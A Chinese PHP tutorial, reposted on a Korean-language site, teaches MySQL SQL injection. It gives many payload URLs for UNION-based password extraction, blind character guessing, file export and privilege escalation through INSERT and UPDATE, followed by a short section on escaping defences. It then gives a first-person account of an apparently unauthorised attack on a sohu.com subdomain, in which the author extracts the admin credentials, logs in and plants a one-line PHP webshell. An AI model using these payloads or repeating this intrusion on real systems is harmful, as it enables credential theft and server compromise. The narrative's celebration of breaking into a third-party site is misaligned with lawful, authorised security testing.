찾다
백엔드 개발PHP 튜토리얼PHP的SQL注入过程分析_PHP教程

PHP的SQL注入过程分析_PHP教程

Jul 21, 2016 pm 03:22 PM
phpsql분석하다기초적인공부하다기능주입~의프로세스

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
  语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
  解SQL的基本原理。笔记中的代码来自网络。
  ===基础部分===
  本表查询:
  http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
  http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
  Union联合语句:
  http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
  导出文件:
  http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
  http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
  http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
  INSERT语句:
  INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
  构造homepage值为:http://4ngel.net', '3')#
  SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');
  UPDATE语句:我喜欢这样个东西
  先理解这句SQL
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
  如果此SQL被修改成以下形式,就实现了注入
  1:修改homepage值为
  http://4ngel.net', userlevel='3
  之后SQL语句变为
  UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
  userlevel为用户级别
  2:修改password值为
  mypass)' WHERE username='admin'#
  之后SQL语句变为
  UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
  3:修改id值为
  ' OR username='admin'
  之后SQL语句变为
  UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
  ===高级部分===
  常用的MySQL内置函数
  DATABASE()
  USER()
  SYSTEM_USER()
  SESSION_USER()
  CURRENT_USER()
  database()
  version()
  SUBSTRING()
  MID()
  char()
  load_file()
  ……
  函数应用
  UPDATE article SET title=DATABASE() WHERE id=1
  http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
  SELECT * FROM user WHERE username=char(97,110,103,101,108)
  # char(97,110,103,101,108) 相当于angel,十进制
  http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
  http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
  确定数据结构的字段个数及类型
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
  http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
  猜数据表名
  http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
  跨表查询得到用户名和密码
  http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
  其他
  #验证第一位密码
  http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
  ===注入防范===
  服务器方面
  magic_quotes_gpc设置为On
  display_errors设置为Off
  编码方面
  $keywords = addslashes($keywords);
  $keywords = str_replace("_","\_",$keywords);
  $keywords = str_replace("%","\%",$keywords);
  数值类型
  使用intval()抓换
  字符串类型
  SQL语句参数中要添加单引号
  下面代码,用于防治注入
  if (get_magic_quotes_gpc()) {
  //....
  }else{
  $str = mysql_real_escape_string($str);
  $keywords = str_replace("_","\_",$keywords);
  $keywords = str_replace("%","\%",$keywords);
  }
  有用的函数
  stripslashes()
  get_magic_quotes_gpc()
  mysql_real_escape_string()
  strip_tags()
  array_map()
  addslashes()
  参考文章:
  http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
  http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)
  对sohu.com的一次安全检测
  已发表于黑客防线
  发布在http://www.loveshell.net
  sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对 于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。
  看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采 用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注 入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只 要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86
  提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
  返回正常如图1。
  然后提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
  返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。
  通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到 ''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在 mysql里就是死路了,好郁闷!
  既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
  返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以 上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。
  既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
  返回结果正常如图4,看来字段是大于10个的,继续提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
  正常返回,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
  ......
  到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
  ......
  终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
  返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
  返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!
  既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目 录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:
  admin site:sohu.com
  如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin /admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发 现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了 吧!继续注入吧!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
  返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回空信息的错误,提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:
  http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
  返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了, 在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能, 于是在里面插入了一句话的php后门,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句 话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!
  在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写 的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样 的大站,参数更多,更加要注意过滤方面的问题哦!

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/324786.htmlTechArticle今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串。学完之后...
성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
PHP의 지속적인 사용 : 지구력의 이유PHP의 지속적인 사용 : 지구력의 이유Apr 19, 2025 am 12:23 AM

여전히 인기있는 것은 사용 편의성, 유연성 및 강력한 생태계입니다. 1) 사용 편의성과 간단한 구문은 초보자에게 첫 번째 선택입니다. 2) 웹 개발, HTTP 요청 및 데이터베이스와의 우수한 상호 작용과 밀접하게 통합되었습니다. 3) 거대한 생태계는 풍부한 도구와 라이브러리를 제공합니다. 4) 활성 커뮤니티와 오픈 소스 자연은 새로운 요구와 기술 동향에 맞게 조정됩니다.

PHP 및 Python : 유사점과 차이점을 탐구합니다PHP 및 Python : 유사점과 차이점을 탐구합니다Apr 19, 2025 am 12:21 AM

PHP와 Python은 웹 개발, 데이터 처리 및 자동화 작업에 널리 사용되는 고급 프로그래밍 언어입니다. 1.PHP는 종종 동적 웹 사이트 및 컨텐츠 관리 시스템을 구축하는 데 사용되며 Python은 종종 웹 프레임 워크 및 데이터 과학을 구축하는 데 사용됩니다. 2.PHP는 Echo를 사용하여 콘텐츠를 출력하고 Python은 인쇄를 사용합니다. 3. 객체 지향 프로그래밍을 지원하지만 구문과 키워드는 다릅니다. 4. PHP는 약한 유형 변환을 지원하는 반면, 파이썬은 더 엄격합니다. 5. PHP 성능 최적화에는 Opcache 및 비동기 프로그래밍 사용이 포함되며 Python은 Cprofile 및 비동기 프로그래밍을 사용합니다.

PHP와 Python : 다른 패러다임이 설명되었습니다PHP와 Python : 다른 패러다임이 설명되었습니다Apr 18, 2025 am 12:26 AM

PHP는 주로 절차 적 프로그래밍이지만 객체 지향 프로그래밍 (OOP)도 지원합니다. Python은 OOP, 기능 및 절차 프로그래밍을 포함한 다양한 패러다임을 지원합니다. PHP는 웹 개발에 적합하며 Python은 데이터 분석 및 기계 학습과 같은 다양한 응용 프로그램에 적합합니다.

PHP와 Python : 그들의 역사에 깊은 다이빙PHP와 Python : 그들의 역사에 깊은 다이빙Apr 18, 2025 am 12:25 AM

PHP는 1994 년에 시작되었으며 Rasmuslerdorf에 의해 개발되었습니다. 원래 웹 사이트 방문자를 추적하는 데 사용되었으며 점차 서버 측 스크립팅 언어로 진화했으며 웹 개발에 널리 사용되었습니다. Python은 1980 년대 후반 Guidovan Rossum에 의해 개발되었으며 1991 년에 처음 출시되었습니다. 코드 가독성과 단순성을 강조하며 과학 컴퓨팅, 데이터 분석 및 기타 분야에 적합합니다.

PHP와 Python 중에서 선택 : 가이드PHP와 Python 중에서 선택 : 가이드Apr 18, 2025 am 12:24 AM

PHP는 웹 개발 및 빠른 프로토 타이핑에 적합하며 Python은 데이터 과학 및 기계 학습에 적합합니다. 1.PHP는 간단한 구문과 함께 동적 웹 개발에 사용되며 빠른 개발에 적합합니다. 2. Python은 간결한 구문을 가지고 있으며 여러 분야에 적합하며 강력한 라이브러리 생태계가 있습니다.

PHP 및 프레임 워크 : 언어 현대화PHP 및 프레임 워크 : 언어 현대화Apr 18, 2025 am 12:14 AM

PHP는 현대화 프로세스에서 많은 웹 사이트 및 응용 프로그램을 지원하고 프레임 워크를 통해 개발 요구에 적응하기 때문에 여전히 중요합니다. 1.PHP7은 성능을 향상시키고 새로운 기능을 소개합니다. 2. Laravel, Symfony 및 Codeigniter와 같은 현대 프레임 워크는 개발을 단순화하고 코드 품질을 향상시킵니다. 3. 성능 최적화 및 모범 사례는 응용 프로그램 효율성을 더욱 향상시킵니다.

PHP의 영향 : 웹 개발 및 그 이상PHP의 영향 : 웹 개발 및 그 이상Apr 18, 2025 am 12:10 AM

phphassignificallyimpactedwebdevelopmentandextendsbeyondit

스칼라 유형, 반환 유형, 노조 유형 및 무효 유형을 포함한 PHP 유형의 힌트 작업은 어떻게 작동합니까?스칼라 유형, 반환 유형, 노조 유형 및 무효 유형을 포함한 PHP 유형의 힌트 작업은 어떻게 작동합니까?Apr 17, 2025 am 12:25 AM

PHP 유형은 코드 품질과 가독성을 향상시키기위한 프롬프트입니다. 1) 스칼라 유형 팁 : PHP7.0이므로 int, float 등과 같은 기능 매개 변수에 기본 데이터 유형을 지정할 수 있습니다. 2) 반환 유형 프롬프트 : 기능 반환 값 유형의 일관성을 확인하십시오. 3) Union 유형 프롬프트 : PHP8.0이므로 기능 매개 변수 또는 반환 값에 여러 유형을 지정할 수 있습니다. 4) Nullable 유형 프롬프트 : NULL 값을 포함하고 널 값을 반환 할 수있는 기능을 포함 할 수 있습니다.

See all articles

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

MinGW - Windows용 미니멀리스트 GNU

MinGW - Windows용 미니멀리스트 GNU

이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

mPDF

mPDF

mPDF는 UTF-8로 인코딩된 HTML에서 PDF 파일을 생성할 수 있는 PHP 라이브러리입니다. 원저자인 Ian Back은 자신의 웹 사이트에서 "즉시" PDF 파일을 출력하고 다양한 언어를 처리하기 위해 mPDF를 작성했습니다. HTML2FPDF와 같은 원본 스크립트보다 유니코드 글꼴을 사용할 때 속도가 느리고 더 큰 파일을 생성하지만 CSS 스타일 등을 지원하고 많은 개선 사항이 있습니다. RTL(아랍어, 히브리어), CJK(중국어, 일본어, 한국어)를 포함한 거의 모든 언어를 지원합니다. 중첩된 블록 수준 요소(예: P, DIV)를 지원합니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경